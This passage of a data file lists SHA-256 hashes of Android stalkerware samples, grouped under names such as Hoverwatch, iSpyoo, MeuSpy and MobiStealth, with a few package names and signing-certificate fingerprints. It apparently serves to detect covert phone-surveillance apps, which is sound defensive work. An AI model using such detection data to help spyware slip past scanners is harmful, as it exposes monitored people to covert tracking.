+5f29e75c97f1c0f3461c384c3358ad888e1be114dc0eef9d44cd12b7b30a5d5e,,,,HelloSpy +611736dfb1f0da65604412ed3cedc612fa292349c3041b9d3971e0426728c1bf,,,,HelloSpy +6691acdde1290b1bedf893841a04730c1ab1f5a00ceff01b5ad719b9d9341a48,,,,HelloSpy +688a0ee417e51bddfa2f1469d165c03e69b1e5a55fb61180c8b945aa1916fbea,,,,HelloSpy +710d70fb43c87b7d663daeadb2c8e39b91dece4cdd89085944452f88587ba00c,,,,HelloSpy +73ef0fb8b79a60703f3d5e88305aefba67141b774fa6b84a798d29ab7415c557,,,,HelloSpy +759af7e0434126059069bb16f7de28f88643f305bebe71528e155e916fc31546,,,,HelloSpy +792f97b7c7ef2bcb2a67f94e103d38677f0ea5da6496c587db6f039fa47f861f,,,,HelloSpy +7b93de26791c2c7c8e98d74bc5727a4367b68a1f14a8c71f176f92d7b8049329,,,,HelloSpy +7d97f8b225371e30ba72c6b724a8e0214e29343138dcaa545e5b166581d08c4f,,,,HelloSpy +7f29ea7beb90ea5b68304d99b7e985cc34ddab1e148720e5dd8eb692e0d9e3c3,,,,HelloSpy +809444db04b9e9f6a79df4634313cc952499feaa1ef6b4033244ead19f40301d,,,,HelloSpy +85ac17c9a999fe8fd5df3880184e6a38398af4370b479ac0ab377a0d5fdabb43,,,,HelloSpy +891fef1417324175fa4e7c35be818d0e1bc0e2537094061719ffdd8f5c2c1afc,,,,HelloSpy +8b0a0b6b4fb7ecbcabf3111007f051bf0067b86123aa24ad6adbcfc7648562ff,,,,HelloSpy +8cac7e08e64454ca6fe5519e3cbdd3cf2aba1f06656721b99948b7275c7e532f,,,,HelloSpy +93b0fa151195b9827ee07fadc8d7831a734ef2fb2756bdae02b1dd98a1c6d39b,,,,HelloSpy +95f0d0c28040db9d8aab64ba1a4173cde0da43680a26e3e531c9291cd2597254,,,,HelloSpy +9a0e3850015f87d7e88d7637e37051f7a64732a254e456d7b8e21d66a4f8d6e0,,,,HelloSpy +9a6e2a38782ea3d0eabf1bbc5f388ea3dd56d08d38ffc81cebe7c8fdf5594e42,,,,HelloSpy +a5516637d5c79334b79ff5b8877bedcfdb395858c467a84df3f555836d1c3d3f,,,,HelloSpy +a8b2647ee3d1c2004954c406d1cea79d14127614bcf0d65fa55e657e5cfc2318,,,,HelloSpy +aae89e217255e486541d8e94635d01b9221b92eaa7bc5125026c9aae4d93fba0,,,,HelloSpy +ac2ef74229eb170380330c85ad511ac70660554dfdefdbd6a1bd15b7cbdf2c62,,,,HelloSpy +b5d27b69497c09d2481b662a84b0dac694f2f932f8160b9a4f1c9e99cc359fc5,,,,HelloSpy +b9bf8f7e8e949fc21009c431e4eee01e996f0e1caaef41699b22321d8abf0c53,,,,HelloSpy +badb44ccdde53618f84d6ba7e774f5c2333fd87260127ff66d3346c984525d92,,,,HelloSpy +bf4119dd0afbba9e8ca53d4544750f810f545da1fc38cc3b3efbcb14f3be65b6,,,,HelloSpy +bffe294019c86f9a65ccafc7cb9c07ea44295ca0cd4dbe99afb36e2944765148,,,,HelloSpy +c380d86db0157f569e4ad908d12f2276573a2faede578daa31e474e200132deb,,,,HelloSpy +c82bb722ce8a846541cc009a0760bd05f9455f27d9d4c76bbb9a6733f8d1d7dd,,,,HelloSpy +ca912c296e5a65b241d83da71b7ddfb3bef5f3ab412ec122b8557e2ab15b6671,,,,HelloSpy +cfd4bb895ea465ce3d92d4e99ef220d97e5cf6d9936b4b08fc55c52384195659,,,,HelloSpy +d040065f9160e463225bddeb3179b2210eaca53b47334c808f4e65cb6fc47284,,,,HelloSpy +d22eede29d9c481053d6c288c4aa722451d3ce032cc801856259dfe7ae450cb8,,,,HelloSpy +d4ae7dfa492edc2d47c1fd8346588718e1f51c1bf4b74a0909c88fb6327e734b,,,,HelloSpy +d7f8e66fc6b436c68fa3620ebcf573fb4a28feb802710543b6bb8690e5abf8c1,,,,HelloSpy +dba1d575e17644e2132fff6eced7746fe8825358ba33d7519853a3836ae0b21f,,,,HelloSpy +dfba04a26e0727fbd1d2a32e91125c5588d399388a1bcabf57b87d80f6c8b49c,,,,HelloSpy +e13a41ca68f0a2b41d97426600b7f64e8cb11c01251a8373e21369d0d2a1c59d,,,,HelloSpy +e24bed9ae314f7b50a234805584c1e9cd5f20513fb619555841ea3caeb20ddd5,,,,HelloSpy +e2d9b06b9a8f2db3032f10cb82716b8db7cd72f98cd6be1689de1e56331bc1ad,,,,HelloSpy +e4886c4faa0b3578ef90af88f3ef29bf55d46d9c4f0c9bc7c527d59079308ef9,,,,HelloSpy +e4e991488843dad10d87d240b9acff78a8373a5335d5959e8b1e06e2fdf491e1,,,,HelloSpy +e85a3b7c279b4a8f9a27dad7e6db00e9b5c0a33b2c0c047d648e7769de9b5bf1,,,,HelloSpy +ea75e842ec7e927aed6ec0fe3a85f515f2f9bfaa1a84d665c7937fa1e5caf7c1,,,,HelloSpy +ed0dfb8089d82dd415dcdcb40b67b3f3c28cb3c520a00cc70cb08bf606cc4e66,,,,HelloSpy +ed44c74b000809a45506c57080658303357716d454919bd4394dac4cf3edf8ec,,,,HelloSpy +ee23b9af72c59bed21df12958e3a2a7e5c06d34310f4b03be641baa4e3b92b6d,,,,HelloSpy +efb55e3b484ac441976eb9ec20e2c61ca350b4356971da806558dfc5317ecfb6,,,,HelloSpy +f0b247dd8c09d5af2a6e58b7dada1bbff3741ed379ce40fdf9b497469ba03d85,,,,HelloSpy +f916cd6796935aa9a83bfb076fb86795450d81abb47f9965647b4ce255d4181f,,,,HelloSpy +fba88e4aaf2af1500a5720d48d6c63ec234270f1278ca412257d0013fe132dc1,,,,HelloSpy +fc7623a9f959d384ffaee43f0083356a79ef0669ed2af18c0c38d5c1c6fa1ae1,,,,HelloSpy +fcd4d09edc2c20ecb4b3eca758f5c263998fe2c07f4001b692460f004743c8c2,,,,HelloSpy +fdd77772c6b37bb2008977740f0582d7b474095de55b8a15b6300dcda4426a2d,,,,HelloSpy +0257b232b9293dd72ce7b8db1c460d54f7fb2b52e452a3dd639e1cd66e1dab9d,,,,HighsterMobile +0b0e9ab177668fce3385a9d8f5eaa30b23d1057e926240d062b1632d4fd820f6,,,,HighsterMobile +0f991701ef188d167a860c3696cb3ced8dbbebfa7008c695a345fb90005bf4c7,,,,HighsterMobile +1093b4d504fd4909d8487e115826be4461fa0e0ca9b9bdab65039b6b1c8285d4,,,,HighsterMobile +163b206a7f9cc0e53b1a889b612090e1215535dee162be42bb09d4b47afde461,,,,HighsterMobile +217c1440567b34d8d37f2ae3f7a9166c5c4d0315ef912bea44c4e8e62c2e1db7,,,,HighsterMobile +28808594b8679d9646d31a999575d78131195209487c084187142c0db8ac4338,,,,HighsterMobile +2ab873c0b420b224fc1df482eec9d59a1309bec4afd675f5010a162d17998b59,,,,HighsterMobile +3122101efc547ef00c2a784526daef090db876148d36d5588bd6513b079ffa0e,,,,HighsterMobile +357f344ce7c6f639f5e55db509d655f11bf88a853cbd01092e13b08460fa1af2,,,,HighsterMobile +364596f30e98e90233470aa5fb647fb57c412ac103bbf09ab63938e2dcfa8f35,,,,HighsterMobile +3aa6bdc2d66e9842bde47c8c79010106966a2f0dc24dbe62a51a5e0314994fe6,,,,HighsterMobile +3e1dc9a39d44f210312b5f9ef2c70f5857ca5522e056180b490c70fc7a27e7da,,,,HighsterMobile +3f35d0b6c48b3392791ac52edec41ff8f770967fb8c120a933e2c5bb08675b40,,,,HighsterMobile +41b621292bd2d4fb7ec3f6928e65f85fdad647bd7c1687808be06dd8d76260ea,,,,HighsterMobile +4708c8e8132f14b0e19af0aa285eb486adee3cb762d81791c5d5a9baf7b2f2f6,,,,HighsterMobile +4ca4345795db838ac77809cb0037ea792b0d0f5ac0ad804a0ff0523309010e34,,,,HighsterMobile +51d3969fc75c16c92eff45e851196b7e78f882bd798f1fc0431818b619e1470e,,,,HighsterMobile +528eede62b2e0ebe848717e72fd68fcbaa5fc473941c8012e6f064dae32f9967,,,,HighsterMobile +59e3c677ba56be2f662346d707705a8ff3220e8f5f99d9a4b9f4fc650b41de88,,,,HighsterMobile +61d6a412c8082fbaa7781accc8c830a422d182a94ff8a6b0cde8611d4c2c097d,,,,HighsterMobile +64fe966d4848f43f4a9fbd21c0fd1184cb8f97b297316ee0468fcec81b3960d3,,,,HighsterMobile +653b02c2a96033605a7c6d896053c8b7ad8fad4a2ab383acb08613ea0f75e41d,,,,HighsterMobile +71481a24df261719216803424bd209a2456e7e79d2dda74849bab907e44d8b9c,,,,HighsterMobile +78e35033a73beba28fe46725093fe91eb5839ca93d59e18b83edb63b85e53a8d,,,,HighsterMobile +7e7bdf0f6386de43c6a4e6373988919035c331dd447210db3ec24f59253d8f98,,,,HighsterMobile +82ee68050c19f9f23e5c670e9c219c1a8d1e45be5f1b378152a9e9d9858e55b7,,,,HighsterMobile +938db24aae3b4af828f8cea815c01535e0ea8bb759560d66544097aba4262624,,,,HighsterMobile +95e13d931a2ae1e85361f90230cd3cde659a547a5b2685bfb4e2bf131b9adea5,,,,HighsterMobile +9aa3af4c99f29f640db11571f48902c49683899c9caadc3cd1de6aeba9e275e9,,,,HighsterMobile +9d90b0da4c46c19a853a0c91869b925a414bf5a99c9cf157cd8cf158fa02c840,,,,HighsterMobile +9e792db1d59f079d73c7792aead58eceefe0d05a063810a8403be9009a88b7fc,,,,HighsterMobile +acc61d9b97eb173ec23a4aeda6765b02830a6a47bcd3c16fa6d18f26c8b2abbd,,,,HighsterMobile +b183e8c52ad4b6ed725d0dc13c995ea8981b7d8e06578b1c00485a3a615003b3,,,,HighsterMobile +b38a9a7142daa7db2c9f919435efe3cb9297e5e0ac1367dd8b5a958664eec360,,,,HighsterMobile +b94bd72ec7d64f8a9e213837c38e26c328d3d3f8be47ea720029a050b5244990,,,,HighsterMobile +c23327f795fe4f5eba98d0fa5d74dc925fa0e1d223236d8f5729d0a6b116401f,,,,HighsterMobile +c330a8c09c63297153a5cfcff81eb41712ed1c8da3c8c654e4443f17ae461da9,,,,HighsterMobile +c8cdf8f9864c7b47f61308681201eaf08a32d6de08b1b0a1c4219a541b580899,,,,HighsterMobile +ce378d29e5529337bdd4ae34220529c240a4f56f1bd6904559d34d0d21ab4443,,,,HighsterMobile +cf9ce377ecb808318dc1737d38ec56283183ae8512ef3f9af10870c0c2efa3f6,,,,HighsterMobile +d0f84fc8159f08475d560fa458317cad5140bde80d5798a92ba6e1ae9364eff1,,,,HighsterMobile +d49a80d2fa2033c9cb7e1534b36f9632b9f19078c5bd81e16abb70cd4bf66d92,,,,HighsterMobile +d836c14377dcd6bb9db88db2b0de8ea11bd9787390f8b46960d78836acccc207,,,,HighsterMobile +daad66a7133509b7947973e2936def4451a0ecf5782fde3f3b0cfa0a9756cc6c,,,,HighsterMobile +ddd56982c1c475a2f805bd9715147233aa8af24182f099bc9372235324719e9c,,,,HighsterMobile +e05f2a8472efcbb340841ea6bc6b3345d63ba867db5435bc2b4d9fc5f2ae92d6,,,,HighsterMobile +e55858f1aee6a230f9459ffa50e018b4b12222c7fb66843c1658a2419726db99,,,,HighsterMobile +e690fbf9a7d02cf2430c7b323c09ba4e00ddccee1befd00c428bb89c9628ef37,,,,HighsterMobile +ef5e17260944003fa58ecc3d3032ae86bb332f666cb4cb3d8b0d8940ba97d790,,,,HighsterMobile +effd675d65adcaa283d2832e3f60c3c4c678c46aaf219fa4569ea116cfe3b463,,,,HighsterMobile +00b7b5b659f0d8fe8d8890c1928ae8862e8f369aa0b97d5b13263b6d3a4016ab,,,,Hoverwatch +10128147241f0815954bc145323ad36c271309fdff2794d090ec96c51820e70f,,,,Hoverwatch +1357b95d5aee15bba6e5bb79ab3d064d9302d677f1150c81d108d1ac763d43a0,,,,Hoverwatch +2409cdaa1ce7a6c6e3c4caab729975a199e9bf68946194e4beda44f20e5628c2,,,,Hoverwatch +2f1468cf727c5833853ee5fcfbb525a83c54619f97939258d1a6b6ec75969357,,,,Hoverwatch +3091ea4ad98319d4129502465e6e8a01af1e3d39a1690cb0eee870909bafe01f,,,,Hoverwatch +314e9832a66fca4020f2e7c03216c0cbfd088dbaf37765f2b943c15529a36b66,,,,Hoverwatch +3faacaf1994eba94aacd14e97e5bf7ea04e14ed33664041c9321561000bbc8cf,,,,Hoverwatch +4285828eade067fd3229a10079b13aedc168d3440f6fe22c611f77701a9a4ee6,,,,Hoverwatch +4383eaee4e3f09da61dc68b4f2f1af7b959d3393b5b160d2d20225f66ca83460,,,,Hoverwatch +4496787c23f2a21a12875acee68b724768494f4f87a198a10c405769ee5ba2a8,,,,Hoverwatch +4c61b33f97ebe874e3ec161690ba3ea9e5aa941f17e02e79d4944adb62fd0853,,,,Hoverwatch +50b4b3c76ae285c3562c6bf73752713ee7016f1ad8adeda77e72def340c6bac4,,,,Hoverwatch +533af9199639b5020addb4c6ccf7d6f9dce2deae7276137b1e75bf513b7a2f9f,,,,Hoverwatch +58bf54327ff51b5630681cee4c5baeae4c720d182943b4d859d35ca24403ccbc,,,,Hoverwatch +5f1d2ad4ba2f1e3b65792b213d43744c7cd2aff1a832e2f45acde5a0a4a84701,,,,Hoverwatch +615fd55f6857081495a6a6b019df89c25c6e6834e7e30a6c4bd8104e1da75ea2,,,,Hoverwatch +649552d0431edc9bae9bde32f6eef9fa84024a47f576ba86e70d0fd5a3f36d62,,,,Hoverwatch +7b4cfd6e231a489a9845cca1ca9ff7f1b80cc97b72f04cfe758116fd01aa8d9d,,,,Hoverwatch +876c5ec4a6dc4a5eb12325934295cf897a6111865e6c629db79f77c286b1f157,,,,Hoverwatch +89390464d8f0e6e11235e44bbb57a14d3d365cd6413224263b9e08d1e5d74713,,,,Hoverwatch +910f43bafff554ad99d9215313d66f244d3da62de2d2f9ebcc6c0b4719f74140,,,,Hoverwatch +9ff19c25ae603c42019156565b5723133f41bdc2ed0b975444ab450a4a23d2d3,,,,Hoverwatch +b31d2fcd456f58adfe16b4b074124be618c4d81231342b98bae8b87e3f8c6f1f,,,,Hoverwatch +b71d7fa108b86302f7809f9b65388d46f9f379287ec3e62ff342d85c8ee33710,,,,Hoverwatch +bf7cf560bc07799400b21a271521c924a027e4cce236dc9a3790f24da0e80097,,,,Hoverwatch +c8237488be720903fdf4aa951ccf850b0aae4a980d9cdba388b124f021a1bc7a,,,,Hoverwatch +ca67b603e41b81be9176cefbe4f7c6a8bc4772c9b60da8316377cf032556d0e8,,,,Hoverwatch +cd82087ae2d9fbd7ab3c7be3a06ff30ec6d7c40400dc2497c3e5839953c48d69,,,,Hoverwatch +cf056638e09afda32ee30d49f55b0679a33b48c50904ce92631e5da464f4c19d,,,,Hoverwatch +d22a334010c7e9d366463a9cb77e868712b45561baa6b1fafed9b8169335ecc1,,,,Hoverwatch +d71add7cd70d52a8e2ccbd6edd9b082f33cf561db3f93b8bd331a787ae8d8069,,,,Hoverwatch +d933cb48462898e5cfb360a530f927dd6834fcbb32f6577a1602607709b08d7f,,,,Hoverwatch +dfd16f4511101b1700c66ce1fbab90a5c071fd91300cddacf7db512e60c2f593,,,,Hoverwatch +e32cd90b7d31dd786df87e09546eee8237dbb7f83ad300407cd4e839ac2c30c1,,,,Hoverwatch +ee8668b7e826977a6efd2d0051d7822accb1f09fa2f400adda252fc49d996d89,,,,Hoverwatch +efbe52ccccec13b0639d43ffd46aabab109f94732ffade78812502cd3971d2fd,,,,Hoverwatch +f201a70dd254e3d9ecf64fadffdc4281f4b4995a5757b36e205e651ae9917acf,,,,Hoverwatch +f3b8642927b2d5f6cbb5bcd117f770dfeb0d9179f6aafb7b5357c2b63f07b1dd,,,,Hoverwatch +fa83a1dda275ec4c436f97852ea4880f75704a632365da9a696156a039493035,,,,Hoverwatch +35e7bc0aa4450af68cc8fae1d2220ea5823ca19d35adc6da12d6f51e48bd8551,,,,Hoverwatch +34eeabc826dc4f8e9aeb981b6f2738572bc8c5b7ae351aef7ecd71899754dc34,,,,iKeyMonitor +63c22cbd47fccaff2b3ed583cefd694a8f2c64060b0fb83577c8beea35743f6e,,,,iKeyMonitor +48dc6a29b6e44f0dfb1b45fbe02f982ede42875e6faef744998aec67869e4f3f,,,,iMonitorSpy +bf626709db2c441d78f3772cb53bf3ea2cdf1061b52a6fe938d2e7ec2c4b5551,,,,iMonitorSpy +d2b46db1c0f6c239965f0bd688de394c32e825c0d782f2bd9ef61b4e14bc0def,,,,iMonitorSpy +0a1cd21b198bc89046410983707c1fdc1474a45977f807a04fc4be8711141c02,,,,iSpyoo +16be514b6039026f2bf1b0e6ad8e69b6a0cb070946e94d8568eebc53302c9394,,,,iSpyoo +36e4151a751d3d244a691b1cdf84825cf933397100a6e174b26fd6ef56cc80ed,,,,iSpyoo +69623b7266c5a218f40219ba8e911ed5aeeb5798fa46be7ab150794f300045b4,,,,iSpyoo +71b1a419443c3e9be84e3784f4437f7cf63180a1cde95a0cf49da91521513fd8,,,,iSpyoo +7303f1cdb0e7c31dfc46c3372c5c68cb2729907471cb40b939f31f9a03e6cac0,,,,iSpyoo +78d24906185ece29ed39e426a6f63c624b07f736e7fc10a8a085729db5b91b50,,,,iSpyoo +83b2e6535589cd70d74fc4c657ec51da5bcdef90160cd449c0d6be9cce5d439c,,,,iSpyoo +8b45f8c019a71acb350a54cd6346910ad8805a6e9e545ae253caf14ac6ba7599,,,,iSpyoo +a5e808891660f8ee5f9da69c5a1f31d0da037aedfdb8d1ff746d005092fbb9e2,,,,iSpyoo +a6a99920c4155147f9d76900fbcd7cd827ae924b2f1c4d4c04944167831361be,,,,iSpyoo +abb87ad479d011c3f499887e79fe476d8c65517d7f57f98e0d0086067d3e2415,,,,iSpyoo +b96d4c161d465d8dd094c3753b37e041f5da9dd56c81be049d26105988719b87,,,,iSpyoo +c86160ee6203c8c54e535381404489b626ed96513526b7a414466eabeeb59f26,,,,iSpyoo +cc245f301bf373feb0b8de035a91ba1a68a8387b3f1e0e8dc6eb7700eabd5201,com.ispyoo,CBDA86758FBE8E5A6AB805F493AA151B1F2B95F4,1,iSpyoo +eacaad8a2088d8abb000e1b65bde80f19c5e2b0483107334ffffadef46f00b05,,,,iSpyoo +f4bfb03936bd52269cdccea90222685e8b09c63e26ae037228c277b36ff6f068,,,,iSpyoo +ff33b8329da21c7ed76e4f4bc85325cecbb9f8055471fb2493c26b4d6b4a4a7e,,,,iSpyoo +01e890e3f24a8394a37545c5d6438fe7f38cbde9c843ac38ec934dcdba50cd6c,,,,LetMeSpy +26deed22f8f2b611a1aeb2abb03d65fde6a31674abbcf09a9d19a85a1b91bbca,,,,LetMeSpy +5fb5e267ad05981323449b69a57d280f033f0a0609c49773e567687a6cba77a6,,,,LetMeSpy +66f44a0f7c74778af95e4a7d6037294aff7e6078992048d83a98467b98a0ed29,,,,LetMeSpy +8afd404efffc98ecc19ecbb442b80cb55b61ebd8a3e6b2e231e6241dbff2dc18,,,,LetMeSpy +a456009451a128251961927d7b142a1770672d486dbd9eb0cd1cfcdc656b14df,,,,LetMeSpy +bd8128c2f0839bae94bf0160265c8b3313cdd53ab373e1489c03659b1c8b14ec,,,,LetMeSpy +d8788135bd2bed69d497185bbe92de240265676df335770d2adae1ed056910f9,,,,LetMeSpy +01dba4e95ff4afd9938f9f7889c36060722041665d96d1a19ff6a7c40f431dd2,,,,MeuSpy +06a58b4d9a363abf3112ac61d74ba02587d80917534de68e6951ecf211f8fe26,,,,MeuSpy +081c92a6b126002c38085eeac0d553c76bed6ba8687f80ea0e760bf6b2f9ad1b,,,,MeuSpy +0892a28616f3ab5c71f3cef7089f9e361ef9c71355d54cb38fe13bc5feae24c0,,,,MeuSpy +092608edcf4e1cdf564cc520ec7c4f2c9ccb80a017df2610c3988783269ebff5,,,,MeuSpy +0f56ed465e9c3d0ffa2dc3695367d29d9874717c2d76418b6a78efdb0bf47b53,,,,MeuSpy +12880e5a23c20885a76aecf132a3026f6ca05480b1aa3ce8f64616f7a5df552d,,,,MeuSpy +19e83992f9001a6afe25f6bb7537ec13642cece0e697b646156e77c4f83450c5,,,,MeuSpy +34725136b028210b7f852f5dd3dd501aadfad62501bc31a1bcdc891d27b38ab8,,,,MeuSpy +36946639ff7a0edd11857ab93956de4d2efc567c6d9b91f67bfd76972dd89d68,,,,MeuSpy +3991e8bd37ec6fc2f03df9fe5f2e5ef8ace526c0d5c0f54cb9dbc99c4e1b9bd7,,,,MeuSpy +3e681b1313af537c0ac807e301692ef4b0177e25fe2e2283776ba752892d47f2,,,,MeuSpy +40a209d5a72553f5a22cb14ea642cdec95aea8749189a8aa47d84bac87de530f,,,,MeuSpy +48fa7886cceccec35236eb219100e55f17a77648617e96f66282489e72c2d0d4,,,,MeuSpy +4d7a7aea398c58f4c3fde8c37abbae54be531717932dc16bce84637e7cf5d11b,,,,MeuSpy +4e9f94fdb423395396c4bebccbeb4543d7d729fe41ade6111693be1112ee8f4a,,,,MeuSpy +52ad2c5d6ff126e15d37cdf487dd0b1c109df3194fbe0397360d8f841d627f93,,,,MeuSpy +5acbab149609464f49cb403ca206b2573f479b563b522bf1eb3735b58b757245,,,,MeuSpy +5b9bc5bb5b7dbe2b4298d419f0e6de987cd270b5c6442e6326b61775ca704ab4,,,,MeuSpy +5f302340a037576c7765b24c3dfdc8c30f11275ee2e004c3f28ddf883df9969d,,,,MeuSpy +66142abed999f8fb22ae48836009508de97a6ccf08634166c5a263121dafd995,,,,MeuSpy +66e2e38bd9a88bc47b83f940ddd332ad3da1129f906a511412be00f7f6a9cf92,,,,MeuSpy +6c8d28b5bfb26976a1b02403a8b21a13d73bf3f677c66b77515fa71cdae97dac,,,,MeuSpy +6fcbc5f3bb8f8aa8a44cec1ce98195e0265389dcc367a6e6e443fa1c42f95bd7,,,,MeuSpy +70c49c4abb40861f9195e17231952f303dfc3203fa8578efadbfcda8cb20c25d,,,,MeuSpy +762f37796fb724ccff5f38e7f172b2a74803df051d717560930bd2e7033f5238,,,,MeuSpy +7b2e214a5df407cf5bf5b40046f90b545e096d150d1e5d7e95a2f18959cf6f46,,,,MeuSpy +851f99ddf2ba43c0a3b09cf43863e25cc707a51558669417663c74c48dc2df0e,,,,MeuSpy +8d8a447321b65b72b95d1dbb4edf3426bed820952fded12de2faa98562498363,,,,MeuSpy +9803ede6da0685e9a71d2d0b6352d2aec8f0d6480c5b40d2fffbeac4b26cd580,,,,MeuSpy +9f4ecbfb0d0c7efe637527572f6681e10f727a0ff202061a14267a2ab2f9d1a4,,,,MeuSpy +a6994f6b58f84f5c1cf9dc36edd9a28b846873036372e4ebb2ebb85e91c780e5,,,,MeuSpy +a8a33d82cb0f981250175e789bc585599b7745565b28fef522451ca6c7b898da,,,,MeuSpy +b04f7fe0ec9e58d950f8f36a7eaa80fe9c42449f3cab32ec5dd413fdbf2ae1c2,,,,MeuSpy +b367dc7ebf8f5e8ade0d70c1f24376b3edb133aa6ba539e411dfe55accfc5938,,,,MeuSpy +b77358edbfa99450d2b93fc4860d388f8b235b7e99e5dc04f38840f90fe6d823,,,,MeuSpy +c06594c3f7684d633161c99bd53d86d340aaece23f96d3a951fa02dbe8c7061a,,,,MeuSpy +c5de38f37d7b7d8eceeae0909b26c822540fe29fbc9fd0b924b81e41cfbb363e,,,,MeuSpy +cb5a23d0a66652f110017a7309578d7f4e79e7f0cd2ea62052bc6cada8bebd59,,,,MeuSpy +d0447f1679c8a783bb36d89a6e851c8a3b6640eead26994fe9486f027a665959,,,,MeuSpy +d333a05b9c0fe70145ace7656d373fc656a97de35bf1f2bf11783de7fec14274,,,,MeuSpy +d61488b453037935909bb79aa318f2eb6df007e80e6b3e53014e76630b27b7d2,,,,MeuSpy +dd5a2f7d4c53b28c6aa43508dfd0d27c8163d57a66f2e2e8c7025aaf8b16ab48,,,,MeuSpy +dffa24c101779b97416f7570f969cd5913cd7e153aa35ae84a20f3302f684101,,,,MeuSpy +ead6cfddfe5283c747bc6920d884c8a335722e463a69572b752010d37d499e9d,,,,MeuSpy +b42a90a982744bf601da86e0e938f22f7757367099f39caff40186318621df43,,,,MeuSpy +2ea2c19aa256b90129be460a7bb21705b98cb91e8d432dbaeba7124628788e56,,,,MeuSpy +5fd8e2317a8e92953009bbd1dd1386d5ab2bfcfa977ce14633b671b32c490893,,,,MinSpy +ce271fe1f0987bb6e646593fb08f36edf915ed0f11960473f6cb95aba9e8d1f0,com.sc.minspy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +2aaff9b722c64fbf1a14f321121ed6f048f6355178ae8ef432660bd8f63ad06f,,,,MobileTool +2f62c540f21d26f0330abc1decf13ae06b12ec884d0530173b86ead1d8ae9a1b,,,,MobileTool +30162c493f80446c61aef3bb7a1584ebd8f587a7962cdf61fd949e208bffcbfd,,,,MobileTool +4e96ed84d650d4f2dd427674b4466c0abe816fcb14c336c14fc52333222fd848,,,,MobileTool +688787f02a05bd757b1a42a1c1e3d738b79a86bb25e55d9d0840ac81b20181c3,,,,MobileTool +834796b0ff9ddf5275cec0843e6886dcea174ee185dbd0e2bb0c9cd7485be06c,,,,MobileTool +89367091e3404fe46f5e500442eec0169c56b31e8a03438aaf41387ee44fb6fe,,,,MobileTool +8b21d5f9bff20271cb69f4c228d0cf57e8ae5acc6d7af11eabb77ccf3b6cb4bb,,,,MobileTool +ae7031250999ea1691ae338a68a019cf3b94b8ffa8cc4543c35871329a266c82,,,,MobileTool +c00914e230123a5a9bf28b602a4231c8f594abeb72e224f7c004a13f454022b9,,,,MobileTool +c55f8061468d7f1f59283c966c35615c3a5840ef0e868208ff2ae260fb90c497,,,,MobileTool +c7a3a7f1fbd7c428f1dc8c913234d8c486950d9c61f41a411f7efc6b467203dc,,,,MobileTool +cc3b974977486f4706e23d935a6d58a2708d48d2c88e4a5d8213daf4585509ad,,,,MobileTool +d2974b2985779df9d6f7d6ad3a990b9db697f3e12cf1be764840097dc2263b0e,,,,MobileTool +e192a106795784bcf53eb7a30c35b0b09225419821f2a3ef247f48ee460ca93f,,,,MobileTool +e903cfbb68be63c44d9d24bc5540133f2b24b6231c79a1b472a6d7d738852346,,,,MobileTool +11880d737423d29ff7412988f48ba450d32c5be76d264b60e3f4fff4d739c1a7,,,,MobileTrackerFree +2e12027382b28c141e0358a6796d3d9dbfb0fc850aa60f656f9864c95a76c412,service.download.app,8CED75E875A2F11B3327A73A6DBD0B25E26533F2,19,MobileTrackerFree +362affec49bd9735b781cc11a6984ac1dfc018e35a26ca33cde4a64256a4675a,,,,MobileTrackerFree +7a1ce22914b95014469ff80e3d30bf570bb75af97db933c21561767789632859,,,,MobileTrackerFree +8c3ad1cdef70ce9964f71ae654b3f1ddabc422b2c8bc50048b7c7b1190584bac,,,,MobileTrackerFree +a0e47181a540418be8c1d20b295a77768ac5e83f7dccab3ac7f26e30440d1af5,,,,MobileTrackerFree +da8a66f41d052f78d3a7045776728d3db899a14551cde89c6cf9900d59971ef7,,,,MobileTrackerFree +57bc00fd1672eb98ac23c43ac6d1c93db4ccfe0fa99a3971a4b5c7b4b87e3020,,,,MobiSpy +83415b4623010d1c8c724b9e3a55514dc869dc491bdfb0e114259ccca9ed4a81,,,,MobiSpy +8f864889f6e2759e3ffb59cc875fbd0a2e5530a709a77efbdd28bae920890b55,,,,MobiSpy +cf12b594f12d9146b488da9083a9f2937aaff6e74a89c269727a73907d2e8ac1,,,,MobiSpy +01590736453758009daa16435db295b4f8115fef428eb72444e06920d1bd1216,,,,MobiStealth +02d909650e87eeeff91218253b479b1022b7f97672010237b1f781d4590c3bf0,,,,MobiStealth +0359ccebed22d1592223667d182ad4330aaf45c12b87e168a9caac702bd3f04e,,,,MobiStealth +05e1e81aee6529fca4d5f51ab1e8cb0789c797e23edc51ee6fe14136830ee56f,,,,MobiStealth +065c32cf3486b599a6b99ef4dae4526189fff45c5ae65b3b5114777c2eec91d1,,,,MobiStealth +09ea0d11b737db47d05235fedc2a2abed82a283f8102f99774267fee58cb2ecb,,,,MobiStealth +0b89ca1f7fb4dd05cd2715a521d580a1ec88869aa20365aaa652cc1cabdce077,,,,MobiStealth +0d76df89b110fd71b292b20a833c1baef5621d80f6ae6196bca8f1d89b70412b,,,,MobiStealth +0f7165f25d25e31b86c4dcea75b3bf36fcf8661427ba388e2818352338ec1c21,,,,MobiStealth +0fa2fddd99327d8d855e8bbece9a4bb617fbb9fa0f67bdd032fee95512011d32,,,,MobiStealth +1070a2d2bb5c040ba77157efc79182bd5056ddc4ce3ffabebeaa1949d6981287,,,,MobiStealth +1294018fb376aa29456b6e5c9f0018719e16aafe9f665344e5aeecdb6703fdff,,,,MobiStealth +187a86891ecc9be14adf9ba88af53fa3dc84a2602f889faa5f01e92e55694c06,,,,MobiStealth +1a8dad00bf7fdfca8f0782cb0290dc2843925771f6cffa9e139523607e46df99,,,,MobiStealth +1b8c17f8a4efc4a67197379e9b15a937e437bd21a6324e7e32f314646630a6fc,,,,MobiStealth +1c9e37bf7ad20b65368ad366c635185fc77ad39af7214b7f21615c1d429f7b9c,,,,MobiStealth +1ca806078bcf4f2380bb65a81a27d0eec67a5a4cc789c1f3bf19129fc2ccb465,,,,MobiStealth +1d1e83dce0a7f285f0205183771def06d61a7e0015e6c7af77ed640cff2e7887,,,,MobiStealth +1dc2be1a7cd625b14a7c727e0aec381d89fd8a2b95c98624b6ea666120a9a0be,,,,MobiStealth +1f805068b5b8535ff9357058425c8f6e0136bfddf772f138f52973b1b9b4db8c,,,,MobiStealth +2082d20db8c967d692aa0abb53ee3a7a65ae5ae542eebd3ac9648dc0699aa547,,,,MobiStealth +212573c9d8dc7045861365ab4b4d9badd8161ced31e8ef7a3780e86783b80ac1,,,,MobiStealth +2718ef39c28304d0b5e5373bf5a1d64128fe009419b12b313fd28af6c5439db9,,,,MobiStealth 